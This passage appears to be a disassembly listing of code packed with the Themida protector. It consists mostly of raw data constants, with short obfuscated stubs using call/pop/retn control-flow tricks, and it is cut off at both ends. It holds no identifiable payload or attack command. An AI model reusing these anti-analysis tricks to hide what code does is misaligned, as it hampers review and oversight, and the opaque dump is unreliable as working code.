38CF26ADh, 505B9EEEh, 10E9h, 2F7B0200h, 7F303145h dd 85D7E423h, 1D7A8232h, 0EB81964Fh, 36A124D4h, 0D2BCBF66h dd 0F89DB5FFh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 0F818CC3h, 688h, 2DBD2900h, 6807E41Bh dd 79230CB5h, 34810AB7h, 3C0F4A24h, 52006A79h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 8CB0A6F6h dd 9E7F7560h, 0F8A5858Dh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0B58903C3h, 7E40271h dd 0D88B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 43ADC351h, 897539DFh dd 0E4140D85h, 0FABF0F07h, 2D9995FFh, 0BD8B07E4h, 7E42D45h dd 13E961h, 0DADF0000h, 0BA3046F3h, 0FEA7FCBAh, 133BFEF5h dd 42BE833Eh, 0B985C727h, 307E422h, 52000000h, 0BD835FF8h dd 7E7F8A5h, 2D840F00h, 8B000000h, 41E9F9h, 870F0000h dd 17h, 0CE8h, 0B6DD3900h, 2E1F48A7h, 0E941868Dh, 7107BFD3h dd 0F5B5314h, 38Bh, 0FFB70F00h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0EA86C357h, 84BB666Eh dd 7D9D8BE4h, 8307E416h, 0E422B9BDh, 850F0307h, 3BBh, 0BD48DB81h dd 0BD835730h, 7E7F8A5h, 0A8840F00h, 8B000003h, 0E417D1BDh dd 0A5B5FF07h, 0BF07E7F8h, 75C7EECCh, 44D95FFh, 0B58B07E4h dd 7E7F899h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0C35545h, 840B76EEh, 8BF84F90h, 0E41979BDh, 106C707h dd 6A000100h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 295FC351h, 9E5CC9EFh, 2594A8F9h dd 0B9666096h, 8A0FFD64h, 2, 5061F98Bh, 68E0F96h, 8B000000h dd 0E405C59Dh, 0A5B5FF07h, 6A07E7F8h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0DF00C350h dd 9D8BCC1Ch, 7E423F1h, 2A0995FFh, 0CE907E4h, 79000000h dd 0F7E8FA66h, 0E2C83B9Dh, 8B99EA43h, 0E7F899B5h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 7B8484EFh, 9FA49419h, 65858BFBh, 6A07E431h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 9D1C356h, 0B2BF6654h, 6D953134h, 8907E42Ch, 0C486h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 14AFCD3Eh, 958BCC10h, 7E41B71h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D3C35242h, 81667F2Bh dd 0F1C4FE7h, 689h, 6FC38100h, 830D88A5h, 6A04C2h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 31F4D7C3h, 97FB5B1h, 0E417F19Dh, 20508907h, 860Fh, 858D0000h dd 7E80CD4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 97C35646h, 0C870B353h, 0F7816601h, 8166B4ECh, 31102EC3h dd 0E418B185h, 0B8868907h, 29000000h, 0E42B5D9Dh, 66006A07h dd 0CE2FD781h, 20B1BD8Bh, 0B5FF07E4h, 7E7F8A5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch dd 1FC35646h, 0B3BE820Eh, 0A3AB398Dh, 18C9BD8Bh, 95FF07E4h dd 7E431ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 1FC35242h, 0CF7E7F15h, 10E95080h, 92000000h, 0A169A1B3h dd 0FCDB5EC7h, 304CD976h, 8931D200h, 9D8B2434h, 7E400B5h dd 0F8A5B5FFh, 0C3BF07E7h, 891B4787h, 0E41C9185h, 1195FF07h dd 8907E41Bh, 0E40F15BDh, 0F9BD8307h, 7E40Dh, 2C840Fh dd 0BF660000h, 8589CC84h, 7E40B35h, 0CE850h, 0E8410000h dd 12FAB024h, 0C2E4F05Dh, 66569713h, 5B3CD8BBh, 2434895Bh dd 9059D8Bh, 0B5FF07E4h, 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 77C35646h, 65C2CEB9h, 7D95FFA3h dd 2B07E402h, 0E40B89BDh, 0A5B5FF07h, 0FF07E7F8h, 0E4097195h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 83A1351Dh, 0E40A21BDh, 840F0207h, 5Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B2C35646h, 8B66357Fh dd 0B5858BDAh, 6A07E41Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0DC1EC357h, 8A46BB66h dd 2145BD8Bh, 0C607E4h, 89525700h, 0E412BDB5h, 0C75B5F07h dd 0E4267185h, 7, 519D8B00h, 0E907E41Eh, 0FFFFF3B7h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B5C35141h, 8B26034Dh dd 852960C1h, 7E41269h, 61D78B66h, 0D85858Dh, 6A07E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 3A43B2C3h, 663937BFh, 0BB669079h, 90508107h, 0BE8h dd 8C9E3900h, 9575616h, 0E68593A2h, 47FCD381h, 6A5B73ADh dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0A70A2B80h, 0A206BBACh, 6A72B5h, 8D74EF80h dd 0E94F4D85h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0A3AF12CCh, 0AC205E8Ah dd 0B5290EE4h, 7E41815h, 6A05C083h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 96BDC350h dd 0D1CF358Bh, 0BD8BF698h, 7E40111h, 57525090h, 0E9310F5Fh dd 0Ah, 0C372E781h, 0CC6F5DABh, 585A4538h, 850F5150h, 17h dd 11E8h, 0DAEA4A00h, 0A1EEC590h, 0BA49A49Eh, 7F6A66E9h dd 5B5BA0BDh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 539E3633h, 81666AC8h, 8BD559CBh dd 0E4091D9Dh, 619D2907h, 6A07E41Eh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 55D1E296h dd 213FEDBAh, 6A006AF3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0A838C355h, 687135EDh dd 58CD9165h, 5BD88B50h, 247195FFh, 0E96007E4h, 6, 85FC603Dh dd 0B509CAC9h, 7E41815h, 4B8D8D61h, 6A07E7D6h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 53BDC350h, 66EEB391h, 0E8BF381h, 6AD1FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 2969F9C3h dd 60755381h, 15BD8384h, 107E420h, 4A850Fh, 81660000h dd 6A40D3EBh, 0DE8B6602h, 50525150h, 5A310F52h, 895F5B58h dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0AB3802C3h, 6399D01h, 9D2907E4h, 7E41609h dd 31AD95FFh, 0DE8B07E4h, 0DAAE9h, 0E800h, 815D0000h, 0E94F57EDh dd 0F19D8B07h, 0BF07E432h, 2CA11F21h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 85C35747h, 268E3D5Fh, 94C1D82Ah dd 8DF9BF0Fh, 0E7C6E185h, 4895007h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0CFA2ADF7h dd 9D9D0B84h, 8B07E424h, 0E41AC1BDh, 35FF6407h, 0 ; --------------------------------------------------------------------------- mov edi, 3CD8C55Dh mov large fs:0, esp mov edi, ecx inc dword ptr [ebp+7E420B9h] push 0 push edx call sub_5D7477 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7477 proc near ; CODE XREF: Themida_:005D746Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5D7477 endp ; --------------------------------------------------------------------------- db 0E0h dd 896E9A01h, 0E40509BDh, 8D0F5607h, 6, 21C99D8Bh, 6A5F07E4h dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0B5FF3A84h, 7E42BF1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0B4C35343h, 5B32B41Bh, 0D54A7963h dd 6FC478BFh, 4D95FF11h, 0E907E430h, 0FFh, 0CD836BFh, 0BF00B079h dd 1C462155h, 6E970E6h, 0E2000000h, 93166342h, 6671E4B9h dd 613CD98Bh, 0D9830Fh, 0BD8B0000h, 7E42E11h, 0FC8B60Fh dd 6BADFBFh, 0F000000h, 8166FBBFh, 8BBFB9F7h, 518D89C1h dd 0C107E433h, 0BB6604E8h, 0F76671FDh, 6890FE2h, 89000000h dd 0E42FED85h, 8BC82B07h, 0E41B41BDh, 80D18B07h, 90E9DCCBh dd 0B000000h, 0E416A19Dh, 0AE907h, 0FE500000h, 923F0868h dd 8E06BEDFh, 4E49858Bh, 0BD8B4400h, 7E42229h, 8007C083h dd 0C083EAEBh, 0BE800h, 31A90000h, 97A9942Ch, 0BE4570Bh dd 5BF88B62h, 830FD03Bh, 0Dh, 1CBDBD8Bh, 40E907E4h, 0B7000000h dd 0FF8D8B38h, 89FFFFFFh, 0E42B6195h, 1E18307h, 29840Fh dd 0BB660000h, 0A583F098h, 0FFFFFFFFh, 0BD9D8BFEh, 0BF07E40Eh dd 1A0E86DCh, 4E499589h, 8A0F4400h, 2, 0E9D98Bh, 8D000000h dd 0E8C914B5h, 3D9D0307h, 0E807E415h, 12h, 7A06A29Ah, 0D9C838D9h dd 0A076B55Eh, 8CE38AA6h, 5FF596A5h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 312D3EC3h dd 89882568h, 0E4034595h, 0DF816607h, 95FFB65Eh, 7E40E41h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 54C35040h dd 0B8DA0248h, 0BD8BBD85h, 7E42559h, 1219D8Bh, 0C3B907E4h dd 6A000010h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0F74DC351h, 4D958AE8h, 78D84B63h dd 9529DE8Ah, 7E42E05h, 0BBFCE183h, 4B97C2A2h, 53006AFCh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0DBD8BFDh, 0F07E415h, 0B8FFB7h, 81000000h, 0C8514CD3h dd 0BA32h, 33AD0000h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0E9B87BC3h, 14h, 61455F3h, 740D4774h, 547E02C4h, 371B55C8h dd 0C470DC0h, 66D8B70Fh, 0D4A62BBh, 88h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 18h, 66C35141h, 26919CD9h dd 17D8589h, 816607E4h, 8B7BC6F7h, 0E41B7195h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0AD2C18A9h, 0CEF6DDF9h, 0FDF8B66h, 688h, 45EB8100h dd 8B2894E1h, 0E42DA18Dh, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 34505B49h dd 320B9406h, 8B5039D8h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 6679B260h, 6A61D18Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 6192C353h dd 611BD83h, 0F0007E4h, 7884h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0BE9A9h, 0A1950000h dd 0FECFBC3Bh, 16C14A6Dh, 0B8B1h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6AFE42C3h dd 0E78D8D67h, 6A07E44Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 4E8CC350h, 0B7E1FF08h dd 0B9BD838Ah, 7E422h, 3E4840Fh, 0CB800000h, 0B9BD8346h dd 107E422h, 3EF840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 9CA592C3h, 2349CFBDh dd 0B9BD834Eh, 307E422h, 389860Fh, 0DD8A0000h, 299D8B60h dd 6607E421h, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 0EFFDCDC3h, 0B1EA8B5Dh, 8589A418h dd 7E4272Dh, 0E804E180h, 10h, 884C3E5h, 5E7F353Bh, 0DED69E83h dd 0D893476Ah, 2BF9BD89h, 0A5B07E4h, 0E8840FC9h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 1824C351h, 0F95BA0A1h, 0C1BD89C3h, 8B07E401h dd 0E4065185h, 0BD8B6007h, 7E4322Dh, 21A18D8Bh, 336107E4h dd 0E4202985h, 8B509007h, 8B6690FAh, 1751BBDFh, 6A0CC7h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 5EC35747h dd 7D99336h, 2BADB633h, 37BF66F8h, 61D86867h, 34813249h dd 56622724h, 10E832h, 6C6B0000h, 0EB45899Eh, 1B86A754h dd 0AF65460Eh, 0FF5FCAFCh, 0E42D9995h, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 9501C586h, 7E42DFDh, 0A58589F8h, 0E807E7F8h, 9, 0EE44DA86h dd 0C135BD32h, 0DF8166CFh, 0E95B7341h, 1E8h, 8BDBBF0Fh dd 0E7F89D85h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 0FE4D73Dh, 0C7DAB7h, 18h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0F1C35343h dd 89428362h, 0E423E5BDh, 499D8B07h, 6007E424h, 0D1B70FF8h dd 0A1B58B61h, 0F07E7F8h, 786h, 2EBF5000h, 5F0DF4DCh, 99858Bh dd 820F07E4h, 0 ; --------------------------------------------------------------------------- mov [esi], eax mov eax, [ebp+7E40651h] mov ebx, [ebp+7E40DFDh] mov [esi+4], eax push 0 push ebx call sub_5D7AB0 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7AB0 proc near ; CODE XREF: Themida_:005D7AA8p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5D7AB0 endp ; --------------------------------------------------------------------------- push esi dec esp daa inc ecx mov eax, 1120D9D2h xor [ebx-1BCE1663h], cl pop es push eax push edi mov ebx, 1784A230h pop edi mov [esp], esi sub ebx, [ebp+7E42459h] push dword ptr [ebp+7E7F89Dh] push 0 push ebx call sub_5D7AF2 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7AF2 proc near ; CODE XREF: Themida_:005D7AEAp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5D7AF2 endp ; --------------------------------------------------------------------------- dw 7C3Ah dd 275044F4h, 2B992BC5h, 0E40B15BDh, 4E807h, 3FF0000h dd 0FB8B001Fh, 7BBB6650h, 24448B77h, 14E804h, 2FEF0000h dd 5C1381E9h, 5809CDC8h, 0C004DD27h, 0E35F8B90h, 0F524CD3h dd 88h, 8B5F5B00h, 0DA8B6600h, 4244489h, 11E9h, 0F6020C00h dd 0F3D1F8A5h, 0CDA63D07h, 5250A9A7h, 6A581333h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0AC21C350h, 0FC628077h, 8B62998Fh, 0E41E75BDh, 0A5858D07h dd 8907E7F8h, 0E40B5585h, 52509007h, 28A0Fh, 69B70000h dd 880F310Fh, 2, 585A6160h, 8E950h, 5A0000h, 4D5D51DCh dd 81904F1Bh, 77EC9CDBh, 2E06BB3Dh, 95FF2282h, 7E42D99h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 66C35747h dd 4A2A6800h, 619D8BB8h, 0FC07E400h, 14E961h, 0AE740000h dd 0B885454Bh, 874B80D6h, 4E937DF3h, 4C64DCC5h, 85C7344Dh dd 7E422B9h, 3, 0A5BD83FCh, 7E7F8h, 2D840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 1487D6C3h, 0F9A4B788h, 21E9h, 0BF0F6000h, 5061F5C0h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 92921C3h, 0F1E5E19Ch, 2906C06Ah, 0E41B4985h dd 99858907h, 6A07E40Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0E8A7C357h, 8384401Ah dd 0E422B9BDh, 850F0307h, 449h, 128D8D89h, 0BD8307E4h dd 7E7F8A5h, 36840F00h, 0FF000004h, 0E7F8A5B5h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 6C13D118h, 0E96DC286h, 8, 7119BEA8h, 8E8C9684h, 44D95FFh dd 0F38007E4h, 859D2B42h, 8B07E401h, 0E7F899B5h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BD0B4C98h, 7E40E5Dh, 106C7h, 0BD8B0001h, 7E40121h dd 0E8525050h, 11h, 31505EBAh, 8AAB1A55h, 0E5F38F76h, 1B7861BBh dd 5BF98BC8h, 0AE9310Fh, 21000000h, 231FF3E9h, 5EFC83C4h dd 89585A62h, 0C2BF2434h, 0FF7CD8DEh, 0E7F8A5B5h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 1741ECB2h, 79849222h, 0BD29CE75h, 7E4199Dh, 2A0995FFh dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0B7FBCCC3h, 441AA4F1h, 0BE8h, 74F1E700h dd 0E879E1E8h, 3D85388Ch, 31818D89h, 8B5F07E4h, 0E7F899B5h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0FDF8B1Fh, 858BDEBFh, 7E43165h, 0DE8h, 6102E00h dd 1EBF4678h, 268BC9A4h, 57B35D0Dh, 0C486895Fh, 81000000h dd 76325DDFh, 0BDBD8B0Dh, 8B07E402h, 0E41B7195h, 178D0F07h dd 0E9000000h, 12h, 0E27443D4h, 0DD86677h, 7996EB4Fh, 9BF7A6C7h dd 0C28341DFh, 5089F804h, 53006A20h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0B287548Bh dd 502A6ECAh, 89516DEDh, 0E414B995h, 858D5F07h, 7E80CD4h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 4EC35242h dd 0FC14829h, 8689F9BFh, 0B8h, 0FFD78166h, 0BF006A24h dd 45CFF97Dh, 0F8A5B5FFh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0F248A4C3h, 890A61DDh dd 0E41AD585h, 0AD95FF07h, 6A07E431h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B8C1C353h dd 0BBABEB52h, 259A1EB8h, 7E96050h, 0D9000000h, 8DDB95D0h dd 0E95282F1h, 10h, 7ED2E721h, 0C307A9A4h, 0FB9D37EEh dd 8B2FE106h, 3489615Fh, 11D38124h, 0FF283B6Dh, 0E7F8A5B5h dd 8D858907h, 0FF07E421h, 0E41B1195h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 12D6BA54h, 0FCB83E1h, 68Ah, 0D19D2300h, 8307E406h, 0E40DF9BDh dd 840F0007h, 83h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 6EC35747h, 47977508h, 68B0Fh, 9D890000h dd 7E42D4Dh, 0B898589h, 509607E4h, 66525060h, 310FC88Bh dd 585A6160h, 0CE9h, 1AB6700h, 43D38833h, 0AC528BE5h, 6A96617Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 5360C356h, 999D892Ah, 0F07E406h, 685h, 0F1BD8B00h dd 0FF07E418h, 0E7F8A5B5h, 51950107h, 8B07E42Dh, 0E4246DBDh dd 7D95FF07h, 8B07E402h, 0E415899Dh, 0A5B5FF07h, 8A07E7F8h dd 7195FFF9h, 6A07E409h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 96E2C353h, 10E9h, 7007D000h dd 7B356F1Ch, 19778B88h, 61A4B608h, 21BD8313h, 207E40Ah dd 5F840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8BE93FC3h, 0E41EB585h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 9D0308C9h, 7E43235h, 0FDAB70Fh, 0C6FABFh, 0BE900h, 12AC0000h dd 5054464Fh, 64032B17h, 7185C7C5h, 7E426h, 8B000000h dd 0E405ADBDh, 0F345E907h, 8E0FFFFFh, 6, 51BD8Bh, 0C18B07E4h dd 13E8h, 0BC90BB00h, 0A108DA72h, 5D8D8F30h, 58810C51h dd 4229782Fh, 199BD89h, 8D5F07E4h, 0E40D8585h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 9E850D2h, 6D000000h, 0D3FE5D88h, 0D91E5A79h, 0CE14BB66h dd 2404895Fh, 5FD88B52h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 685B01C3h, 44F340BFh dd 25BD8B21h, 6A07E425h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 5C16E28Dh, 1A05167Dh dd 43858D3Bh, 8307E95Fh, 6A05C0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0DE12B5C3h, 85176A4Eh dd 870F2972h, 0Fh, 0AE9h, 6191B100h, 0FC297AF6h, 8BC5BEBCh dd 820F50FBh, 28h, 10E8h, 0A3B98200h, 483859ACh, 2CEE9686h dd 9131D4ABh, 0DE9E1h, 0ECCA0000h, 3E2865B9h, 5CAB744Ah dd 5BF02560h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0E9F5C355h, 0CB81174Fh dd 3666BAh, 61EB8166h, 8B006A9Eh, 0E40401BDh, 0F006A07h dd 95FFFBBFh, 7E42471h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 26C35545h, 0B9A0C34h, 8E35E808h, 0D64B8D8Dh dd 830F07E7h, 4, 2E88BF66h, 0FE8BD1FFh, 0C3DB8166h dd 15BD8344h, 107E420h, 0BC850Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 49BD9EC3h dd 0C781CA41h, 18D40BF7h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 575AF8C3h, 36C0BB66h dd 9E9h, 0F709B200h, 26269204h, 50503BF2h, 0FDD8A52h, 0F88B6631h dd 489585Ah, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 3D852916h, 0FF07E40Bh, 0E431AD95h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 4A832AD3h, 0ABAF2A07h, 9D23BE09h, 7E41B79h dd 79E938B7h, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7E95F4Dh push 0 push eax call sub_5D83EA and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D83EA proc near ; CODE XREF: Themida_:005D83E2p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5D83EA endp ; --------------------------------------------------------------------------- dw 589Fh dd 0A0B7F46Dh, 6A6291h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0FD1DB0C3h, 0E1858D3Fh, 6A07E7C6h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0C1B5C351h, 0F299FF4Fh, 5360D984h, 850Fh dd 665B0000h, 4728F281h, 52509061h, 310FDA8Bh, 609DB560h dd 585A6161h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0FF643BC3h, 35h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0C0897329h, 9529B02Fh, 7E42349h, 258964h, 0FF000000h dd 0E420B985h, 0F98D0907h, 6A07E42Bh, 0A59D2BFFh, 0FF07E409h dd 0E40635B5h, 359D2307h, 0FF07E40Dh, 0E4304D95h, 10CE907h dd 0BD890000h, 7E41E01h, 8B6600B0h, 3599BFD8h, 70E6378Ah dd 6820Fh, 8D890000h, 7E41ED5h, 9D8B71E4h, 7E43029h, 218D9D0Bh dd 613C07E4h, 0D8830Fh, 0E7810000h, 33DB0BC1h, 6820Fh dd 9D290000h, 7E4258Dh, 0FC8B60Fh, 9D8BF9B7h, 7E40111h dd 6BAh, 8BA9B700h, 0E8C1FCC1h, 41BD2904h, 3307E426h, 0E415C9BDh dd 0E2F76607h, 0E69BD89h, 0C82B07E4h, 52D18BFCh, 21019D89h dd 15F07E4h, 0E427959Dh, 80E907h, 9D290000h, 7E4300Dh dd 0AA1BD23h, 858B07E4h, 505F4C4Ch, 8B07C083h, 0E41FE1BDh dd 0C08307h, 4EEF8166h, 0FD03BC4h, 1683h, 0CD9D8900h, 0E907E419h dd 4Ah, 5BBA6660h, 0E27EBFFBh, 8B6125FAh, 0FFFFFF8Dh, 96BF66FFh dd 1E183E6h, 2C840Fh, 9D8B0000h, 7E40FA1h, 1998589h, 0A58307E4h dd 0FFFFFFFFh, 0E19589FEh, 8907E419h, 5F4C4C95h, 0C58D8950h dd 8A07E421h, 0E9FAh, 0B58D0000h, 7E8D9D7h, 108E0Fh, 0BE90000h dd 0A1000000h, 7C00BAF6h, 68206FAh, 0BF66955Ah, 6A1FC9h dd 0E4195FFh, 9D8B07E4h, 7E423B5h, 5E8h, 8465AD00h, 8529A83Ah dd 7E41FCDh, 1037B95Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0BA6306C3h, 3EE13EBh dd 0E426B9BDh, 9BD8B07h, 8307E41Fh, 6AFCE1h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 9DB42CC3h dd 669453EAh, 77A9BB6Fh, 0E9FC0622h, 0Ah, 2054ED3h, 777BEAF5h dd 0B8DC89h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 33CDC351h, 9DBD8BF4h dd 2B07E402h, 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0CF565E08h, 0F80DA368h, 8A0FFA69h dd 1Ah, 12E8h, 0EF2AC700h, 5961AA80h, 0ACC1C05Bh, 0C18F3497h dd 0B7064661h, 33AD5B54h, 3E8D1C2h, 4E983D0h, 6AF475h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 2DD69FC3h, 0BF158619h, 97791BBh, 28C0Fh, 0FE8B0000h dd 880Dh, 6D9D8B00h, 8B07E42Bh, 0E41B7195h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8B60ADDBh, 0E402719Dh, 11E907h, 0CC430000h, 0C27DF0ACh dd 0FC6D9072h, 0A1282E00h, 6121CDD0h, 5FD98B51h, 2DA18D8Bh dd 8B5007E4h, 3188BC2h, 8B188BC1h, 